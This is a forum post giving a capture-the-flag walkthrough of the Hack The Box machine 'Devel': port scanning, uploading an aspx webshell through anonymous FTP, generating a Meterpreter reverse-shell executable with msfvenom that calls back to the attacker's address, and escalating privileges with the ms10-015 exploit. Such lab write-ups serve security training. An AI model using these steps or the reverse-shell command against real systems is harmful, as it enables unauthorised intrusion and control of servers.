Jump to content

Featured Replies

Posted

Hack The Box —— Devel

20190814162131.png-water_print

信息搜集

nmap

1

nmap -T4 -A -v 10.10.10.5

20190814162312.png-water_print

It was found that the server had port 21 and port 80, and the ftp service could be accessed anonymously, but the version number was not known. The browser accesses the http service and finds that there is only the default page of iis.

目录扫描

Use the dirsearch tool to scan a wave of directories:

1

python3 dirsearch -u http://10.10.10.5 -e html

20190814162625.png-water_print

No special discovery was made.

FTP

Anonymously accessed the FTP service and found that there is write permission in the current directory, so I want to obtain the permissions of the server by uploading the webshell.

漏洞利用

webshell

First upload the webshell of aspx:

20190814163112.png-water_print

When you access the browser, you find that the webshell has no error and can be executed.

Link with ant sword :

20190814163228.png-water_print

When accessing some directories, I found that the permissions were insufficient.

Using the virtual terminal of the Ant Sword, I executed whoami and found that there was only the permissions of iis user, so I found a way to increase the power.

权限提升

Use msfvenom to generate an exe Trojan file, and use msf to receive the back-connected shell to facilitate the raising of rights.

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f exe shell.exe

The generated shell.exe file is then uploaded to the target server through the Ant Sword and executed through the virtual terminal.

20190814164149.png-water_print

Use msf to listen to the port and receive the connected shell :

20190814164258.png-water_print

20190814165547.png-water_print

Use the detection script that comes with msf to view vulnerabilities that may be used to escalate rights:

20190814164414.png-water_print

20190814170651.png-water_print

After testing one by one: it was found that ms10-015 can be used to increase power.

20190814164518.png-water_print

A new session was successfully created.

Execute the getuid command under meterpreter:

20190814170812.png-water_print

Discovered successfully raising power.

Next, you can get the flag in type c:\users\Administrator\Desktop\root.txt.txt.txt.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.